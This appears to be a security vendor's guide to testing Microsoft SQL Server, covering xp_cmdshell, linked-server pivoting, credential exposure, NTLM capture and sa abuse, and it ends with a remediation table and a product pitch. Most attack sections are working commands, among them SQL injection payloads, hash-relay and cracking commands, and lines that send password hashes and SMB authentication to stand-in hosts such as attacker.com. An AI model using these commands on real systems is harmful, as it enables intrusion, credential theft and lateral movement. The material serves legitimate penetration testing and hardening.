Microsoft SQL Server Security Testing: xp_cmdshell, Linked Servers, and Credential Exposure

Microsoft SQL Server has been a fixture in enterprise environments for decades, and its security model carries the weight of that history. Features like xp_cmdshell, linked servers, and the sa account exist for legitimate operational reasons โ€” and represent significant attack vectors when misconfigured. This guide covers what security testers look for in MSSQL deployments: OS command execution paths, lateral movement via linked servers, credential exposure in SQL Agent jobs and master keys, and NTLM hash capture via UNC path injection.

Contents

  1. SQL Server Attack Surface Overview
  2. xp_cmdshell and OS Command Execution
  3. Linked Server Lateral Movement
  4. Credential Exposure: Master Keys and SQL Agent
  5. UNC Path Injection for NTLM Hash Capture
  6. sa Account and Authentication Abuse
  7. Automated Detection with Ironimo
  8. Remediation Priorities

SQL Server Attack Surface Overview

SQL Server's attack surface differs from other databases because of its deep integration with the Windows operating system. The SQL Server service account runs as a Windows principal, which means SQL injection or authenticated access to the database can translate directly into Windows host compromise.

Attack Vector Access Required Impact
xp_cmdshell sysadmin role OS command execution as SQL Server service account
Linked Servers Low-privilege SQL user Cross-server query execution, potential privilege escalation
SQL Agent Jobs SQLAgentOperatorRole or higher OS command execution via CmdExec job steps
UNC Path Injection Any authenticated user NTLM hash capture, potential relay attack
sa Account Abuse Network access + weak password Full sysadmin access, xp_cmdshell enablement
Impersonation (EXECUTE AS) Any user with IMPERSONATE grant Privilege escalation to sysadmin

xp_cmdshell and OS Command Execution

xp_cmdshell is a SQL Server extended stored procedure that executes Windows commands and returns their output as result rows. It's disabled by default in SQL Server 2005+ but remains widely enabled in legacy environments and development instances.

Checking and Enabling xp_cmdshell

-- Check if xp_cmdshell is enabled
SELECT name, value, value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell';

-- If value_in_use = 0, it's disabled but may be re-enableable
-- Enabling requires sysadmin and 'show advanced options' first

-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig /all';
EXEC xp_cmdshell 'net user';

-- Check SQL Server service account privileges
EXEC xp_cmdshell 'whoami /priv';

OS Command Execution Without xp_cmdshell

When xp_cmdshell is disabled, several alternative paths exist for OS interaction from SQL Server:

-- OLE Automation stored procedures (alternative OS execution)
-- Requires 'Ole Automation Procedures' enabled
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

DECLARE @shell INT;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\output.txt';

-- Read the output file
CREATE TABLE #output (line VARCHAR(255));
BULK INSERT #output FROM 'C:\output.txt';
SELECT * FROM #output;

-- CLR stored procedures (if CLR integration is enabled)
SELECT name, is_clr_enabled FROM sys.configurations WHERE name = 'clr enabled';
-- CLR allows arbitrary .NET code execution within SQL Server

-- OPENROWSET to external resources
SELECT * FROM OPENROWSET('SQLNCLI',
  'Server=attacker.com,1433;Trusted_Connection=yes;',
  'SELECT 1');

SQL Injection to xp_cmdshell

The combination of SQL injection and xp_cmdshell is the classic database-to-OS pivot. Applications that build queries with string concatenation and connect to SQL Server with sa or sysadmin credentials are the highest-risk targets.

-- SQL injection payload to stack queries and execute xp_cmdshell
-- Application query: SELECT * FROM products WHERE id = [input]
-- Payload:
1; EXEC xp_cmdshell 'powershell -enc <base64_payload>' --

-- Via sqlmap with MSSQL-specific OS shell:
sqlmap -u "https://target.com/product?id=1" \
  --dbms=mssql \
  --os-shell \
  --technique=S

# sqlmap will attempt to enable xp_cmdshell and provide interactive OS shell
# If xp_cmdshell fails, sqlmap tries OLE automation as fallback

Linked Server Lateral Movement

Linked servers allow one SQL Server instance to execute queries against another SQL Server (or OLE DB data source) as if it were local. This is designed for distributed queries but creates a lateral movement path across the database tier when misconfigured.

Enumerating Linked Servers

-- List all linked servers configured on this instance
SELECT name, product, provider, data_source, is_linked
FROM sys.servers
WHERE is_linked = 1;

-- More detail on linked server security configuration
SELECT
  ls.name AS linked_server,
  ls.data_source,
  ll.local_principal_id,
  ll.remote_name,
  ll.uses_self_credential
FROM sys.servers ls
LEFT JOIN sys.linked_logins ll ON ls.server_id = ll.server_id;

-- What can I query via linked servers?
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@version');
SELECT * FROM [LINKED_SERVER_NAME].master.dbo.sysdatabases;

Privilege Escalation via Linked Servers

The key vulnerability: a low-privilege user on Server A can execute queries on Server B if a linked server connection is configured to use a high-privilege account (including sa) for the remote connection.

-- Check privileges on the linked server
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME],
  'SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')');

-- If the remote account is sysadmin, you can enable xp_cmdshell there
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE')
  AT [LINKED_SERVER_NAME];

EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE')
  AT [LINKED_SERVER_NAME];

EXEC ('EXEC xp_cmdshell ''whoami''')
  AT [LINKED_SERVER_NAME];

-- Crawl the linked server chain (Server A โ†’ B โ†’ C)
-- First hop: execute on linked server B
SELECT * FROM OPENQUERY([SERVER_B],
  'SELECT * FROM OPENQUERY([SERVER_C], ''SELECT @@version'')');

-- Use PowerUpSQL for automated linked server enumeration and exploitation
# Get-SQLServerLinkCrawl -Instance "target-sql,1433" -Username sa -Password Password1
# Invoke-SQLEscalatePriv -Instance "target-sql,1433"

Mapping the Linked Server Network

-- PowerUpSQL automated crawl
# Install-Module PowerUpSQL
Import-Module PowerUpSQL

# Discover accessible SQL servers on the network
Get-SQLInstanceScanUDP -ComputerName target-range | Get-SQLConnectionTestThreaded

# Enumerate linked servers recursively
Get-SQLServerLinkCrawl -Instance "sql01.corp.local,1433" -Verbose

# Check for privilege escalation paths
Invoke-SQLAuditPriv -Instance "sql01.corp.local,1433" -Username lowpriv -Password pass123

Credential Exposure: Master Keys and SQL Agent

Database Master Key and Credential Objects

SQL Server's credential objects store usernames and passwords used by SQL Agent jobs, linked server authentication, and database mail. These are encrypted with the database master key, which is protected by the service master key derived from the Windows service account.

-- List credential objects (requires sysadmin)
SELECT name, credential_identity, create_date, modify_date
FROM sys.credentials;

-- List database-scoped credentials
SELECT name, credential_identity
FROM sys.database_scoped_credentials;

-- SQL Server Agent proxy accounts store credentials used by agent jobs
-- List proxy accounts
USE msdb;
SELECT p.name, p.credential_id, c.name AS credential_name, c.credential_identity
FROM dbo.sysproxies p
JOIN sys.credentials c ON p.credential_id = c.credential_id;

-- Credentials are encrypted but if you have sysadmin you can abuse them directly
-- The service account running SQL Server can read the SMK from Windows DPAPI

SQL Agent Job Credential Extraction

-- List SQL Agent jobs and their step commands (may contain hardcoded credentials)
USE msdb;
SELECT
  j.name AS job_name,
  js.step_name,
  js.subsystem,
  js.command,
  js.database_name
FROM dbo.sysjobs j
JOIN dbo.sysjobsteps js ON j.job_id = js.job_id
WHERE js.subsystem IN ('CmdExec', 'PowerShell', 'ActiveScripting')
ORDER BY j.name;

-- CmdExec steps often contain connection strings with credentials:
-- Example finding in command field:
-- sqlcmd -S db-server -U sa -P SuperSecret123 -Q "EXEC sp_cleanup"
-- powershell.exe -Command "Import-Module SQLPS; Invoke-Sqlcmd -ServerInstance prod -Username sa -Password P@ssw0rd"

-- Check job owner security (jobs run as the job owner's context)
SELECT j.name, sp.name AS owner_name, sp.is_sysadmin
FROM msdb.dbo.sysjobs j
JOIN sys.server_principals sp ON j.owner_sid = sp.sid;

Linked Server Password Extraction

-- Linked server passwords are stored encrypted in the registry
-- Location: HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\[instance]\Security\

-- With sysadmin, you can use xp_cmdshell to access the registry:
EXEC xp_cmdshell 'reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server" /s | findstr /i password'

-- PowerUpSQL can extract linked server passwords if you have sysadmin:
# Get-SQLServerCredential -Instance "sql01,1433" -Verbose

-- The linked server password hash extraction via DAC (Dedicated Admin Connection):
-- Connect with DAC (only one DAC allowed at a time):
-- sqlcmd -S admin:sql01 -A
-- Then query internal encryption tables (complex, version-specific)

UNC Path Injection for NTLM Hash Capture

SQL Server will authenticate to UNC paths (\\server\share) using the Windows credentials of the SQL Server service account. This behavior enables NTLM hash capture when an attacker controls a server listening for SMB connections.

Hash Capture via xp_dirtree

-- xp_dirtree causes SQL Server to make an outbound SMB connection
-- This works with any authenticated SQL user โ€” no sysadmin required
EXEC master..xp_dirtree '\\attacker-ip\share';

-- Other built-in functions that trigger outbound SMB:
EXEC master..xp_fileexist '\\attacker-ip\share\file.txt';
EXEC master..xp_subdirs '\\attacker-ip\share';

-- On attacker machine โ€” capture NTLM hashes:
# Using Responder:
python3 Responder.py -I eth0 -v

# Using Impacket's smbserver:
python3 smbserver.py share /tmp/share -smb2support

# Captured hash format (NTLMv2):
# SQL_SVC::CORP:challenge:hash:nthash
# Crack with hashcat:
hashcat -m 5600 captured_hash.txt wordlist.txt

# Or relay with ntlmrelayx (if SMB signing disabled on target):
python3 ntlmrelayx.py -t smb://dc.corp.local -smb2support

UNC Injection via SQL Injection

-- If SQL injection exists in an application using MSSQL, UNC injection is immediate
-- Error-based injection with UNC:
'; EXEC master..xp_dirtree '\\attacker-ip\capture'--

-- Out-of-band data exfiltration via UNC (DNS query carries data):
-- SQL Server's fn_xe_file_target_read_file can trigger HTTP/UNC requests
DECLARE @q varchar(1024);
SET @q = '\\'+( SELECT TOP 1
  CONVERT(varchar(128), LOGINPROPERTY(l.name, 'PasswordHash'), 2)
  FROM sys.sql_logins l
  WHERE l.name = 'sa' )+'.attacker.com\share';
EXEC master..xp_dirtree @q;

sa Account and Authentication Abuse

The sa (system administrator) account is a built-in SQL Server login with permanent sysadmin role membership. It cannot be deleted โ€” only disabled and renamed. Many legacy installations have it enabled with weak or default credentials.

sa Account Testing

# Test for sa account with common passwords
sqlcmd -S target-sql,1433 -U sa -P "" -Q "SELECT @@version"
sqlcmd -S target-sql,1433 -U sa -P "sa" -Q "SELECT @@version"
sqlcmd -S target-sql,1433 -U sa -P "Password1" -Q "SELECT @@version"

# Automated: Metasploit
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.0.0.0/24
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set BLANK_PASSWORDS true
run

# Nmap script for MSSQL auth:
nmap -p 1433 --script ms-sql-brute \
  --script-args brute.firstonly=true,userdb=users.txt,passdb=pass.txt \
  target-ip

# Check sa account status (requires another SQL login):
SELECT name, is_disabled, type_desc
FROM sys.server_principals
WHERE name = 'sa';

User Impersonation (EXECUTE AS)

-- Check which logins you can impersonate
SELECT DISTINCT b.name
FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
AND a.grantee_principal_id = SUSER_ID();

-- Check database-level impersonation
SELECT DISTINCT b.name
FROM sys.database_permissions a
JOIN sys.database_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
AND a.grantee_principal_id = USER_ID();

-- If you can impersonate a sysadmin:
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin'); -- should return 1
EXEC xp_cmdshell 'whoami';
REVERT; -- drop back to original context

-- Database trustworthy property abuse for privilege escalation
-- If a database is TRUSTWORTHY and owned by a sysadmin login:
SELECT name, is_trustworthy_on, suser_sname(owner_sid) AS owner
FROM sys.databases
WHERE is_trustworthy_on = 1;

Windows Authentication and Kerberoasting

# SQL Server service accounts running as domain users are Kerberoastable
# Request TGS for MSSQLSvc SPN
# Find SQL Server SPNs:
setspn -Q MSSQLSvc/*
ldapsearch -x -H ldap://dc.corp.local -D "user@corp.local" -W \
  -b "DC=corp,DC=local" \
  "(servicePrincipalName=MSSQLSvc*)" \
  servicePrincipalName sAMAccountName

# Kerberoast via Impacket:
python3 GetUserSPNs.py corp.local/lowpriv:Password1 \
  -dc-ip 10.0.0.1 \
  -request \
  -outputfile mssql_tgs.txt

# Crack the TGS offline:
hashcat -m 13100 mssql_tgs.txt /usr/share/wordlists/rockyou.txt

Automated Detection with Ironimo

How Ironimo tests SQL Server deployments: Ironimo identifies MSSQL instances exposed in your infrastructure and runs targeted checks: default credential testing for sa and common accounts, detection of SQL injection vectors in connected applications, xp_cmdshell availability fingerprinting via application-layer timing differences, and linked server configuration exposure via information schema queries. For applications with MSSQL backends, Ironimo correlates SQL injection findings with the database privilege level to accurately predict OS-level impact.

The most dangerous MSSQL configurations โ€” sa enabled with a weak password, xp_cmdshell on, SQL injection in the application tier โ€” often coexist. Ironimo tests all three layers in sequence, calculating the actual blast radius: SQL injection + sysadmin + xp_cmdshell = OS command execution on the database host.

Remediation Priorities

Finding Severity Fix
xp_cmdshell enabled Critical Disable immediately: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE
sa account enabled with weak password Critical Disable the sa account; use named Windows service accounts instead
Linked server with sysadmin credentials Critical Reconfigure linked servers to use least-privilege accounts; audit all linked servers
SQL Agent job with hardcoded credentials High Move credentials to Credential objects; use Windows Authentication where possible
UNC path injection via xp_dirtree accessible to low-privilege users High Restrict xp_dirtree/xp_fileexist execution; block outbound SMB at firewall
TRUSTWORTHY database owned by sysadmin High Set ALTER DATABASE dbname SET TRUSTWORTHY OFF; audit database ownership
Mixed mode authentication enabled Medium Switch to Windows Authentication only where possible; enforce strong password policy
OLE Automation Procedures enabled Medium Disable: EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE

SQL Server's feature richness is its security liability. Every extended stored procedure, every linked server connection, every SQL Agent job step is a potential escalation path. A security-hardened MSSQL deployment disables everything it doesn't need โ€” and audits what remains.

Scan Your SQL Server Infrastructure

Ironimo identifies MSSQL exposure, SQL injection in connected applications, and default credential risks across your environment automatically.

Start free scan